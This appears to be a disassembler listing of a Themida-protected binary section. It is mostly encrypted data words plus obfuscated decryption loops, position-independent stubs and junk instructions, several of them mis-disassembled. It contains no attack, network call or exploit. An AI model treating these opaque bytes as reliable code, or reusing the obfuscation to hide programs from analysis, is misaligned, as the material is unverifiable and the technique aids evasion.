dd 8F80B626h, 9A878FA0h, 0CD6CAA1Ah, 6ECEF9E4h, 8E9A17FEh
dd 1E1086FAh, 62A71E40h, 91086FAh, 0D1635238h, 5F97A825h
dd 0FFFFFE6Fh, 69D9545Dh, 0F2ABEE55h, 41521086h, 0AB571A9h
dd 0D1000003h, 5F57C724h, 86F2C9E4h, 0C939BF10h, 0E858D4CDh
dd 745BC2AEh, 0E3CA316Fh, 2E9E220Fh, 0B67317E8h, 330C535h
dd 575F480h, 23133C11h, 86F20DA0h, 98008310h, 72BB7832h
dd 989EB187h, 203E6E12h, 0A1DF7CA5h, 13949D16h, 0F09A73A3h
dd 51EFFD0h, 62B7D016h, 57CF054h, 1B9B0000h, 0D455CAABh
dd 23A29164h, 0EB4DE2B3h, 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh
dd 6134A40Bh, 730272D2h, 26CF3FBCh, 0CF12B19Dh, 0AE169C16h
dd 0C7244FEDh, 0F0525F57h, 9B980864h, 9C71A515h, 0EE4DE2B3h
dd 2A88977Eh, 68AE1E9Eh, 657EB897h, 8CC99505h, 71E5C240h
dd 907E6C33h, 0BA0DC0F9h, 562DD038h, 620043D0h, 0BF40714Dh
dd 0E5D09B4Fh, 97A8CB58h, 238E0h, 56D5DE00h, 2BDFB0E6h
dd 0DE0EAB07h, 0B6E1F6D8h, 0D34B35F1h, 629D08E2h, 0EB0F751Bh
dd 4DB09944h, 0D3969807h, 211h, 0C20EABE7h, 0DEE0CF3Fh
dd 86F22267h, 0BEF8C910h, 75F10437h, 7B62CD0Fh, 45B53A77h
dd 1F8E7C51h, 96971D9Ah, 1E822h, 0EABF600h, 104500DEh
dd 0E31086F2h, 0B9FAE4D2h, 0F3CCCA3Ah, 0F173AC17h, 95FC0F75h
dd 1D9A1F2Ah, 0C2229697h, 0F6000001h, 0DE0EABh, 86F21445h
dd 8D6E710h
dd 35D545ABh, 9B1C15F7h, 7812EB2Bh, 75F1124Dh, 8934DB0Fh
dd 971D3DC0h, 197C396h, 24D70000h, 525F57C7h, 0C6F481F1h
dd 49FCC2F2h, 169BFB11h, 0E9F3CBDCh, 93FB375Ah, 5E5B616h
dd 0FB61AC07h, 0A30E1693h, 27A00D3Ch, 4F289DBDh, 4000000h
dd 73E3624Fh, 0E7494A43h, 591D9377h, 0F83EAE0Dh, 0AF162807h
dd 169BF583h, 0FA6ACDBAh, 0F63861E4h, 0F2C31693h, 335AD9DDh
dd 0BC1693F6h, 2B886A55h, 0F7B654C4h, 9DBD1E72h, 2A9A1F14h
dd 0CB7713ECh, 0D1h, 1EE0D401h, 835C2805h, 624F33E7h, 8F7C6EDEh
dd 697ABC2Ch, 8BFB7D09h, 17999AA4h, 0B99E6FA7h, 0E837E6F4h
dd 0E14B3F14h, 46F7DAFBh, 39F47CF6h, 846649B9h, 82B42487h
dd 0D3A21271h, 86369EEEh, 0C1319210h, 0E82D2A34h, 5E83420Dh
dd 1D10866Ah, 0EF8A2B0Ch, 77477119h, 77FF0C4Fh, 23B285F5h
dd 91AD8258h, 0EF3291CBh, 8E108697h, 67AF1FA1h, 0F2D1B996h
dd 169EFFA4h, 397A4455h, 77AC49B9h, 940467F3h, 0FB82ADA2h
dd 0B7D2F6CCh, 5B1DA58Fh, 0BC000003h, 0EC43D242h, 0AB781D8Dh
dd 0E43BDA4Ah, 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh
dd 0AD1D9F94h, 68D85BC8h, 0B1143A8Dh, 169C1468h, 24EA5213h
dd 46B63AC6h, 0C5507F50h, 0F89D0D6Eh, 0E3624F34h, 0A04A4373h
dd 76A01073h, 0E78EFE7Dh, 86F282CAh, 4D995D10h, 273C7AEAh
dd 6D6254C4h, 8B516D42h, 6155C526h, 860D2774h, 4867CA4Eh
dd 18ACF76h, 0A0711086h, 8CBDBCAh, 0CBE8169Bh, 0CFBDF969h
dd 930E2D74h, 0D0FFD016h, 0E0B5863Ah, 57C7245Ch, 81F1525Fh
dd 0CAF2C6F4h, 0A7CB6522h, 0A5203E67h, 1086847Ch, 3D012EFFh
dd 9B8D5286h, 8EEE1B16h, 24128202h, 3D12042Bh, 7CA12412h
dd 916938Dh, 0BF2A1F8Eh, 5F9DBD9Ch, 46B6347Dh, 9385BADFh
dd 43704116h, 76474FBFh, 29A894h, 0B1A60000h, 6B7698D7h
dd 74A8429Fh, 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh
dd 0C9F49B16h, 0BD1CFD80h, 0C5839Dh, 24970000h, 525F57C7h
dd 9D9680F0h, 7B68AE1Eh, 61ED88F8h, 9482F250h, 98F4CFBBh
dd 901086F7h, 0FD32C333h, 0A2080E7Eh, 3590AEDEh, 169BF109h
dd 2C7A1B2Ch, 52C2408Ch, 617B617Dh, 93FABFE2h, 266D3E16h
dd 6A6353C3h, 95FD2580h, 9380108Bh, 0D0EEC131h, 72D25EE3h
dd 143B1402h, 6FD3E076h, 0FF3416FFh, 330C0A7Ah, 0CC58DA57h
dd 0CEB7FF6Fh, 8B38C6A9h, 0FE351A71h, 330C0A7Ah, 7548811Ch
dd 1D17B1BEh, 1CD95h, 7CEC4A00h, 0B7278A99h, 84F451DEh
dd 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh, 101FF666h, 0C9563FAFh
dd 51AFB6Bh, 745F36A6h, 1AB6DB6Ah, 0B435169Ch, 0DF624F88h
dd 2C8E7B6Fh, 0E94AD9BCh, 0AB909C79h, 0D903DB0Bh, 0F2194003h
dd 0D3571086h, 0FEECBD63h, 9BF5939Fh, 9D99AA16h, 0A00182AFh
dd 93F1FC25h, 81AE7F16h, 0C89FB895h, 2C33571Bh, 588520CAh
dd 251693C3h, 0A306436Ah, 439DBD4Bh, 0CF67AA19h, 35061693h
dd 0D0E555h, 4FC10000h, 0C382E362h, 1086F29Eh, 33634C5Dh
dd 0F2B7DA69h, 65361086h, 1073A04Ah, 5C09EA0h, 1086F2DCh
dd 32DC8E9Fh, 6551C141h, 86F78EDEh, 99018210h, 624E1ADFh
dd 96BB8A64h, 5510869Bh, 0B1446B44h, 0CD910182h, 0D3F6CD8Fh
dd 9A10869Bh, 9BF51C89h, 0A7781086h, 1FDF49C3h, 0C874CFEFh
dd 6D169B9Dh, 7D52C240h, 3E6E1298h, 77F53E20h, 4C3E0F07h
dd 8BF2C671h, 9AA47510h, 2A8D1999h, 26E29DBAh, 98FE1D81h
dd 0F151DEB7h, 40BDFC81h, 90A6B1BDh, 0AD34h, 9C0C6A00h
dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh
dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 1BD6FBCAh
dd 0D495169Ch, 56C62468h, 0A31370BFh, 0C72466D2h, 0F1525F57h
dd 0F2C6F481h, 0D1E2FCC2h, 39160070h, 0CF2B7251h, 0F9CA16A1h
dd 360DCFBDh, 169C2F13h, 246DD8DAh, 0C7169C2Fh, 0E1FED9F6h
dd 0BDB2C055h, 991A17F3h, 54D74C29h, 0A653B2E4h, 4559B02Ah
dd 5BD8EFDEh, 96150AEBh, 951B1826h, 6E1CF125h, 0DD4DB3C0h
dd 0E151B001h, 81280B09h, 8AFA794Eh, 47B734EBh, 8F34Fh
dd 4FC70000h, 7B6FDF62h, 0CA24A199h, 0E4475C5Ah, 0D3314274h
dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h
dd 0EA4F6452h, 57783C7Ah, 0BE56E789h, 4, 835EF701h, 3C8704EFh
dd 89525C24h, 4C281E2h, 83000000h, 148704EAh, 4895C24h
dd 5DF26824h, 1C890000h, 6A73B824h, 0C0832766h, 5D8F7FFh
dd 427D2C07h, 0B46C2935h, 359C3539h, 0B22D4D6Bh, 5469AEBAh
dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 438F2404h, 2434FF08h
dd 4C4815Bh, 8B000000h, 89522404h, 4C281E2h, 81000000h
dd 4C2h, 24148700h, 93B4E95Ch, 0B9F4FFFAh
db 1Dh, 8Ch
; ---------------------------------------------------------------------------
loc_5D84D2: ; CODE XREF: Themida_:loc_5D7748j
mov eax, 61AEA18h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 81h
dd 2A646542h, 995E3236h, 0E94867EEh, 0ABh, 820E435h, 94h
dd 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h, 3220h
dd 20h dup(0)
dd 0E9000000h, 0BA0h, 1AECF368h, 92DCE906h, 2F68FFFAh
dd 0E9061AEEh, 0FFFA92D2h, 1AEF3D68h, 92C8E906h, 0B768FFFAh
dd 0E9061AEFh, 0FFFA92BEh, 1AF10D68h, 92B4E906h, 6C68FFFAh
dd 0E9061AF1h, 0FFFA92AAh, 1AF4CA68h, 92A0E906h, 9668FFFAh
dd 0E9061AF5h, 0FFFA9296h, 20F565E1h, 573EAE13h, 18FD6DC8h
dd 6035A50Bh, 16FF6FD3h, 13970A81h, 0DA5DD2A3h, 18948B6Ah
dd 0D556CDA8h, 17479065h, 9C1965ACh, 0B5870816h, 5F57C724h
dd 0BD81F152h, 0E684F474h, 2F5F1F87h, 0FB7CB40Fh, 3001169Bh
dd 33A3052Eh, 0B6600A03h, 93FB0E4Fh, 73E36016h, 0A7EA5943h
dd 461693FBh, 4CBC3E75h, 913CED4Ah, 8E41F852h, 0BD272EBBh
dd 2AB69Dh, 0ABD20000h, 0AE03DB0Bh, 0C4DDD949h, 31D9F666h
dd 0F598982Bh, 94A5169Bh, 0F1FA23A2h, 0C831693h, 1D45A8A1h
dd 0D7CB9DBDh, 0DF000000h, 8757C724h, 0B555C52Ah, 0A0086A77h
dd 2C976EEDh, 1086DDE5h, 0F3A0B788h, 0C4417262h, 263B7B54h
dd 288955C5h, 0BADF66C7h, 4110868Dh, 66575F70h, 1A998A84h
dd 38E6CBAAh, 5F108689h, 7683C67Dh, 3D6A1086h, 734C4ABAh
dd 9EC3825Ch, 5D108676h, 0E6D9E4Ch, 0CB28F79Eh, 0E752835Bh
dd 13360D32h, 0DA108608h, 430EEEC9h, 0AF39F397h, 44FFDF0Fh
dd 169C7B9Ch, 0F5C55061h, 764D1141h, 108B0DB5h, 0D6DBE3B4h
dd 2211E454h, 256D30A0h, 3EB1BDF5h, 96FBC38h, 97170000h
dd 60E14E27h, 0AF0E25F0h, 67C9563Fh, 0B1111EF7h, 0B4F7B441h
dd 6C0979F9h, 35C030B7h, 670E7EFEh, 2ACB3BB8h, 0CB0EB599h
dd 0B2169C1Eh, 0C6240B31h, 1370BF56h, 2B88D2A3h, 6E5F57C7h
dd 0BAB987Ch, 0F04003DBh, 8D169BF5h, 0CA947ABCh, 93F1D6FBh
dd 0E6849516h, 93F196B7h, 5B85F16h, 0BD1CB944h, 1173F9Dh
dd 5F7D0000h, 93FDBDE4h, 2267DE16h, 0C91693FDh, 677748F8h
dd 93FDB5DCh, 83673816h, 57C7248Fh, 80F0525Fh, 56BC896h
dd 0F2F821A4h, 0B2831086h, 10CEED9Dh, 5C1086F6h, 0C4866FDFh
dd 0ED9D0D6Fh, 0FA57BF3Ch, 474F5DFh, 921A3D12h, 223C13B5h
dd 724AD335h, 0E95CC874h, 108607A0h, 0B5557A4Bh, 1D4DF177h
dd 2494F041h, 0E76D1DF2h, 9CF0B45Ch, 58DAD716h, 0DD1AEE8h
dd 90FA1336h, 21C9DA16h, 0E1C9AC7Dh, 0FF6FD11Dh, 75D00ED0h
dd 1690FA2Ch, 0FAB3D66Dh, 693A1690h, 3204E6B7h, 7B092B2Ch
dd 0EA624BA0h, 0B6F5A500h, 0B7881088h, 0B9298AA7h, 18B7807Dh
dd 160AB777h, 3E73C9A1h, 7AA94CBCh, 0E52C97F8h, 881CAB69h
dd 0B70598B7h, 0B0B1BD96h, 8333EC6h, 0F3530000h, 0BC3DF283h
dd 0FB7AA94Ch, 0B335EA8Bh, 0FD7DB243h, 0F8B3E88Dh, 20F565C5h
dd 593CAC13h, 1BFA6ACAh, 5E37A704h, 0B7DA6975h, 36169C1Ch
dd 624F87B5h, 9B9872E2h, 8CCEA717h, 0B555C527h, 0EE87F774h
dd 57C7244Ah, 81F1525Fh, 0FD249FBDh, 801086F2h, 2E5088AFh
dd 2C59BFDh, 0D99D0D68h, 2E2E95A9h, 4F16A13Eh, 0F053607Eh
dd 79D0F580h, 0A2169D3Fh, 3CC009BCh, 0A2AB169Dh, 98FC1B7Dh
dd 402A05ADh, 0DF5DA95Ah, 0CB5406Fh, 2149ED04h, 71BFA63Ch
dd 0B787A821h, 8075040Ch, 0BF3C6910h, 279E604Fh, 0A87F7127h
dd 8E508040h, 6056C625h, 0ADF44F6Fh, 508F7F62h, 93C98B7Fh
dd 0BEAC1C9Eh, 658ACFDFh, 53F2EC89h, 0B6884A0Eh, 4302DCEDh
dd 0B6884A1Eh, 7A1ECCDDh, 3BFB6DA9h, 4A66AB1Ah, 3405B688h
dd 8180431Bh, 7AB091DCh, 4A4CBC39h, 10219575h, 0FA86E54Eh
dd 1B8BED79h, 220D0234h, 0EF5FDC53h, 0C4062E0Eh, 2B87AD11h
dd 725h, 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh
dd 967FEF53h, 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h
dd 97C710E5h, 9C1DE52Ch, 35078816h, 3DB0BABh, 0A1DCDC40h
dd 90F23F16h, 45564A20h, 49B93879h, 53986075h, 1A339025h
dd 9C3E66ABh, 1B340516h, 0AA0F246Fh, 2112FC3Ah, 3CAC139Fh
dd 0D2A05FAh, 657EF0EFh, 0DD4E3C55h, 290FEE5Eh, 0B6B7D0C2h
dd 6AB44C0h, 5BDB0000h, 94150AEBh, 63E25124h, 0AB0D22F3h
dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h
dd 660F7FFCh, 8FD2715Dh, 6E169C1Dh, 0BAB8FADh, 0DC4003DBh
dd 0A116A1DCh, 18FD249Fh, 0AF80169Ch, 25A0BE80h, 169C18FCh
dd 0A31D8DF2h, 4D66F892h, 0B3977EEEh, 18F71AA9h, 0B114169Ch
dd 169C1868h, 8D9E0213h, 0D606B3DDh, 18603D08h, 0B6E3169Ch
dd 0FBD4C232h, 3B63E2D4h, 0C4169C18h, 82E7624Dh, 0A9DC308h
dd 48h, 0DE0EAB1Eh, 0F2104500h, 0D2E31086h, 0DCADCB0Ch
dd 13598043h, 13241086h, 5D37C044h, 6890417Ah, 36D442F1h
dd 9E1D16F8h, 3C613C2Eh, 0C91086A8h, 7FEA5F4Eh, 1F97A878h
dd 4D3DAD12h, 7EDh, 0F0B5C900h, 0D1000001h, 93B68D4Fh
dd 5A1086F2h, 10FEA149h, 6ED11DE1h, 0DDF262E2h, 0F3CBE4D9h
dd 0FB6BC8E9h, 7D28C2BBh, 169BFB95h, 8C37C7D8h, 0C624ABFFh
dd 0C698C878h, 23A3AFFFh, 999DAEA3h, 0F71AA9B3h, 76AB5213h
dd 2BCBC5A5h, 0E160E3FBh, 7CAD4B85h, 93C993ABh, 0FAAB1B9Eh
dd 0D16BA1D7h, 24E58596h, 2A8757C7h, 705E58C8h, 6BA18CD5h
dd 715E6FD1h, 6350FA99h, 484571E1h, 0A21271A2h, 0FDDEEFDBh
dd 8202F4FBh, 555h, 9065D531h, 0C7AE1EA3h, 886DDD58h, 0D0A5159Bh
dd 866FDF63h, 0C3279A11h, 0A6DC253h, 0C824FB9Ah, 566BD58h
dd 7D70095h, 9C03153Ch, 2517D816h, 5F57C724h, 0E9F525D9h
dd 9BFC5A5Ah, 2BCADB16h, 9ABD361Fh, 481CDD1Ch, 0F70EA86Fh
dd 0AF5BD644h, 0C910182h, 0B7D55716h, 0F65FE3D1h, 90000004h
dd 2FC636h, 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h
dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h
dd 169C036Ch, 4FAE8E0Fh, 4670E062h, 1370A149h, 2C19BA3h
dd 1086F2DFh, 2FDD8D9Eh, 8D51C142h, 6056C624h, 0F6917B6Fh
dd 86CB7A64h, 651086F2h, 0D4FBB654h, 15F6391Eh, 8A023335h
dd 60D033E0h, 599D2095h, 492397A8h, 19000000h, 1C90893Ch
dd 0FEEC9671h, 0E1624F16h, 5F1F9971h, 10B40F2Fh, 25169BFBh
dd 7AA32214h, 6C1693FBh, 0A872A911h, 68277DD9h, 0DD624F47h
dd 2280C97Ch, 5A6B1693h, 46AD4175h, 33DE4C97h, 0EA30BD8Ch
dd 50B89DBDh, 0D4000000h, 3DB0BABh, 0F2276AD9h, 0F5C61086h
dd 0BB843F15h, 0BA169C41h, 0AA07D5E9h, 31D949h, 41841181h
dd 1693A21Dh, 4588F053h, 98DAE813h, 0E4FAC4EBh, 93573861h
dd 18F2C316h, 0D343A67Dh, 0B250CA0Bh, 5166D655h, 9971B152h
dd 3EB179Bh, 4FF30000h, 0F293B68Dh, 495A1086h, 1747F7A1h
dd 0F6D87C47h, 9B9D169Bh, 93F6E128h, 9CBB8C16h, 0CF76E8F7h
dd 0CDC9E6B2h, 0AFE757D4h, 0ED05B83Fh, 480D54EFh, 0CA871693h
dd 0ECA0E944h, 0DE8C9D03h, 0AD404B4h, 942071CDh, 4F3BE4A2h
dd 0C80DCF0Dh, 1EE6F8C7h, 0EB2E9786h, 921693FDh, 1ABAE981h
dd 0DB108EF9h, 77F42BCAh, 84D0F07h, 834C7FA1h, 4A701A0Ch
dd 0CD784676h, 1AB6914Dh, 12820330h, 1F30A021h, 1BA70A17h
dd 1CF12595h, 8AEE0333h, 1D841C1Ah, 0A51431B2h, 0BE2E8D3Ah
dd 0FF2FCFD7h, 0B65464DFh, 0BCE904A3h, 0DDE1CE3Eh, 6E454D4h
dd 0AD184608h, 8D23664h, 0D7543607h, 0FC6CC854h, 0ACEAC5BAh
dd 856D60C9h, 0BF42CE2Ch, 5976474Fh, 73707B1h, 0C22C8C37h
dd 40510EC8h, 8DFD7EB5h, 930380B1h, 0C6243DF7h, 2ABBDE65h
dd 71420EEFh
dd 61C8585Eh, 6ADA596Eh, 2B5B1B8Bh, 0D1A0B013h, 0CCDD08F5h
dd 0EA5AD9CAh, 0AC05C9ACh, 0E5DADC4Ch, 2B238A05h, 59835B8Bh
dd 299C083h, 626434F8h, 0F802BEE3h, 436C3D34h, 0F91CFCA7h
dd 506132E2h, 9D0D6EC5h, 0CA2B8899h, 12FAD6FBh, 0B384953Ah
dd 11DB357Ch, 9FBF900Dh, 0D3C33392h, 0D98510FAh, 0F0FBBDFCh
dd 96744F51h, 122C5C1Ch, 0FA97FB3h, 0E92DFE3Ch, 2FA9438Ah
dd 5A852C20h, 0A4149B98h, 0BEED9D72h, 0C851793Bh, 0E656D6DBh
dd 0F2BDFB0h, 29h, 0DB0BAB2Bh, 0F5F04003h, 0BC8D169Bh
dd 7BC3947Ah, 1718C225h, 8BD2F199h, 74169358h, 0B23712BDh
dd 3A9DBDC3h, 0E9h, 57C7244Eh, 80F0525Fh, 2F96C896h, 1086F2EAh
dd 29EA8091h, 475C5ACAh, 0DEE97CE4h, 9199CBCh, 0B4724F26h
dd 0B8108655h, 0F52ACB3Bh, 1686EA76h, 630A01Dh, 8AF02609h
dd 0A7086AB6h, 8655F51Ch, 88A77810h, 0C09EB18Eh, 9B533905h
dd 0CB733C16h, 2EA6F203h, 1945D0FFh, 0E5598043h, 13241693h
dd 4D7D4177h, 52C24071h, 0BD7F6B64h, 8B8AC206h, 0C49AAB10h
dd 0A919999Ah, 39FA906Dh, 0A4ED58B9h, 0DE1CAA30h, 0D61D928Ch
dd 0C2D34DE7h, 61E0D1EDh, 50ACC5F1h, 0F6D9B6E0h, 48AA7914h
dd 4C3945D8h, 94A2B1BEh, 19830h, 2090EE00h, 0EB5BDE55h
dd 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h, 24FB9A0Ah
dd 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 65A7F46h, 6021169Ch
dd 56C624DCh, 0A31370BFh, 0C52B88D2h, 7E6C6155h, 0DB0BAB96h
dd 57D8D903h, 989803E7h, 0A5169BF5h, 0FA23A294h, 831693F1h
dd 45A8A10Ch, 0CB9DBD1Dh, 0ACh, 57C724DFh, 55C52A87h, 907E6C61h
dd 67AF1FA3h, 86F65E0Ch, 0C1319210h, 1B7CFF34h, 0F75F8241h
dd 0D1E1086h, 86F77198h, 42BFC10h, 0A8D8A812h, 0F10F2F96h
dd 1D2E169Bh, 5FDDD678h, 0A9720AF7h, 0A28DB736h, 1B989B74h
dd 25D9BFABh, 0D95AE9F5h, 58108B95h, 0B83A7747h, 0F476AD48h
dd 7EE7F984h, 0FEF8B1BEh, 0CC76h, 0CC3CBA00h, 777FA29h
dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h
dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 7468B3Ah, 6425169Ch
dd 56C624D8h, 0A31370BFh, 0EF5688D2h, 1086F2AAh, 72AA4051h
dd 407D864Fh, 7058353Ch, 0B21A999Ah, 22D59D74h, 0A096B9EAh
dd 35C03093h, 0BD81B185h, 0A12B1A06h, 64526316h, 47B7397Ah
dd 950566A3h, 60D03300h, 0E715CF36h, 4DD418DAh, 96066562h
dd 0D4565BFFh, 7A5D3264h, 0ABCF2FDEh, 0DB58323Ch, 0B5AEE858h
dd 0DED3C333h, 0B6ABEB5Bh, 5FCFC737h, 0C7FEE5D8h, 0DB586F5Eh
dd 73C08A6Bh, 9875A111h, 52C241F2h, 13E064h, 4FBC0000h
dd 5BCA5A86h, 43883E61h, 74A7EA7Eh, 339D1FEh, 5ACA24F7h
dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
dd 66D65A47h, 52C24330h, 7AEA4F64h, 6568783Ch, 8900000Ch
dd 0BA522424h, 4, 4245401h, 0E089505Ah, 405h, 4E88300h
dd 5C240487h, 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h
dd 1C895C24h, 4EC8124h, 89000000h, 0C1BB241Ch, 0B9298B5Ch
dd 2FA6487Eh, 685BD929h, 5FEFh, 83242489h, 5B042404h, 8BA52h
dd 0DA010000h, 89CD8955h, 0FF5A5D2Ah, 815B2434h, 4C4h
dd 2434FF00h, 4C48359h, 0FA8749E9h, 5A60ABFFh, 1AF687B8h
dd 0FFC50306h, 8456B7E0h, 237A8447h, 24C98C03h, 0EAC9944Ch
dd 0AF3C4915h, 98BECA7Fh, 6F84D36Eh, 0CAD70529h, 0D2DDF54Eh
dd 0AAAB5358h, 65BBE979h, 24EB22h, 8 dup(0)
dd 0E9000000h, 0BDh
; ---------------------------------------------------------------------------
loc_5D919C: ; DATA XREF: Themida_:0057B45Co
mov [ebp+61AF744h], esi
mov eax, [ebp+6152DB5h]
mov eax, [ebp+615096Dh]
lea esi, [ebp+61AF78Eh]
lea eax, [ebp+6184559h]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 61AF794h
cmp dword ptr [ebp+6152DB5h], 1
jnz loc_5D9203
push dword ptr [ebp+61AF744h]
mov eax, [ebp+615096Dh]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_5D91FC
mov eax, 1
jmp loc_5D9243
; ---------------------------------------------------------------------------
loc_5D91FC: ; CODE XREF: Themida_:005D91ECj
xor eax, eax
jmp loc_5D9243
; ---------------------------------------------------------------------------
loc_5D9203: ; CODE XREF: Themida_:005D91D1j
push 1Ch
lea esi, [ebp+61AF748h]
push esi
push dword ptr [ebp+61AF744h]
mov eax, [ebp+615096Dh] ; CODE XREF: sub_5D9272+18j
xor eax, 34812736h ; CODE XREF: Themida_:005D926Bj
call eax
add esp, 0Ch
lea esi, [ebp+61AF748h]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5D923E
xor eax, eax
jmp loc_5D9243
; ---------------------------------------------------------------------------
loc_5D923E: ; CODE XREF: Themida_:005D9231j
mov eax, 1
loc_5D9243: ; CODE XREF: Themida_:005D91F7j
; Themida_:005D91FEj ...
cmp dword ptr [ebp+6152DB5h], 1
jnz loc_5D9257
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5D9259
; ---------------------------------------------------------------------------
loc_5D9257: ; CODE XREF: Themida_:005D924Aj
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5D9259: ; CODE XREF: Themida_:005D9252j
lea eax, [ebp+61AF76Dh]
mov [ebp+6151A2Dh], eax
call sub_5D9272
cld
jle short near ptr loc_5D9218+3
in eax, dx
stosd
xlat
ror dh, cl
; =============== S U B R O U T I N E =======================================
sub_5D9272 proc near ; CODE XREF: Themida_:005D9265p
mov dx, cx
pop esi
call loc_5D928D
xor edx, esp
stc
setalc
xchg eax, edi
scasb
test ds:43875BD6h, dl
cmp [ecx-70h], edx
repne jnz short near ptr loc_5D9212+4
sub_5D9272 endp ; sp-analysis failed
loc_5D928D: ; CODE XREF: sub_5D9272+4p
movsx eax, dx
pop eax
add esi, 6D63h
mov dx, si
mov edi, 1B26h
mov bh, dl
loc_5D92A1: ; CODE XREF: Themida_:005D931Cj
mov ecx, [esi]
mov bx, ax
sub ecx, 68E6BF33h
jg loc_5D92B5
mov ax, dx
loc_5D92B5: ; CODE XREF: Themida_:005D92ACj
xor ecx, 33EFAA58h
mov dh, 44h
sub ecx, 33A5E0A1h
push ecx
jmp loc_5D92D7
; ---------------------------------------------------------------------------
db 0B2h, 2Ch, 0Fh
dd 7A8CA218h, 0A7C0D1C7h
db 0E2h, 0F8h, 0D4h
; ---------------------------------------------------------------------------
loc_5D92D7: ; CODE XREF: Themida_:005D92C4j
; Themida_:005D92F6j
pop dword ptr [esi]
mov ebx, 5EC10690h
sub esi, 9953B0Fh
jmp loc_5D92FB
; ---------------------------------------------------------------------------
db 34h
; ---------------------------------------------------------------------------
loc_5D92EA: ; CODE XREF: Themida_:005D9327j
insd
pop eax
mov esp, [edi]
setalc
test [ebx], ecx
in eax, dx
mov byte ptr [ecx-5Ch], 72h
jb short near ptr loc_5D92D7+1
stosb
inc ecx
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
loc_5D92FB: ; CODE XREF: Themida_:005D92E4j
add esi, 9953B0Bh
jmp loc_5D9319
; ---------------------------------------------------------------------------
mov edi, 72997FA6h
aad 6Eh
retn
; ---------------------------------------------------------------------------
dw 0D247h
dd 0C2E2C11Eh, 0E4F3E0B1h
; ---------------------------------------------------------------------------
cmpsd
loc_5D9319: ; CODE XREF: Themida_:005D9301j
sub edi, 1
jnz loc_5D92A1
call sub_5D9335
jle short loc_5D92EA
inc edx
shr byte ptr [esi+0], 0A0h
inc eax
retf 9F94h
; ---------------------------------------------------------------------------
dw 6EBh
; ---------------------------------------------------------------------------
push ecx
; =============== S U B R O U T I N E =======================================
sub_5D9335 proc near ; CODE XREF: Themida_:005D9322p
mov dx, di
pop ebx
lea ecx, [ebp+61AFA03h]
push 0
push ebp
call sub_5D934A
and [ebp-3Dh], bl
sub_5D9335 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D934A proc near ; CODE XREF: sub_5D9335+Dp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5D934A endp
; ---------------------------------------------------------------------------
dw 0A643h
dd 218D897Bh, 60061527h, 95292DB4h, 6150709h, 0CD85C761h
dd 0CC061504h, 6A000071h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 742DC356h, 0F4377FA4h
dd 0BF6677D1h, 85C799B1h, 6151115h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5D93B3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D93B3 proc near ; CODE XREF: Themida_:005D93ABp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5D93B3 endp
; ---------------------------------------------------------------------------
db 0F7h
; ---------------------------------------------------------------------------
stosb
add [ebp+6152A61h], edi
jns loc_5D93E0
jmp loc_5D93E0
; ---------------------------------------------------------------------------
lahf
push edx
cwde
rcl dword ptr [ebp+esi+52h], 26h
pop cx
loc_5D93E0: ; CODE XREF: Themida_:005D93CBj
; Themida_:005D93D1j
push dword ptr [ebp+6150009h]
push 0
push ecx
call sub_5D93F1
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D93F1 proc near ; CODE XREF: Themida_:005D93E9p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5D93F1 endp
; ---------------------------------------------------------------------------
db 52h, 80h, 0F7h
dd 89928945h, 150BF1BDh, 358D8906h, 0E8061522h, 8, 4B84D490h
dd 9797C5ABh, 0C995FF5Fh, 66061502h, 6AF622BBh, 2195FF00h
dd 8B06152Eh, 544DEBC0h, 3BCAA122h, 2E8BB10Fh, 4623C141h
dd 9BB23EE0h, 0D4142C8h, 5AC2D53Eh, 3E991C9h, 2FDED5A2h
dd 0C21F4CAEh, 0FBFBDCCh, 0B3980475h, 1BD07FA7h, 6CEBBDE0h
dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 35616EE3h
dd 2E3A5ADDh, 2CE9h, 0B747A400h, 54000011h, 2, 8 dup(0)
dd 0C3AE900h, 3B680000h, 0E9061AFCh, 0FFFB4E48h, 1AFD3868h
dd 4E3EE906h, 0BB68FFFBh, 0E9061AFEh, 0FFFB4E34h, 1AFFB368h
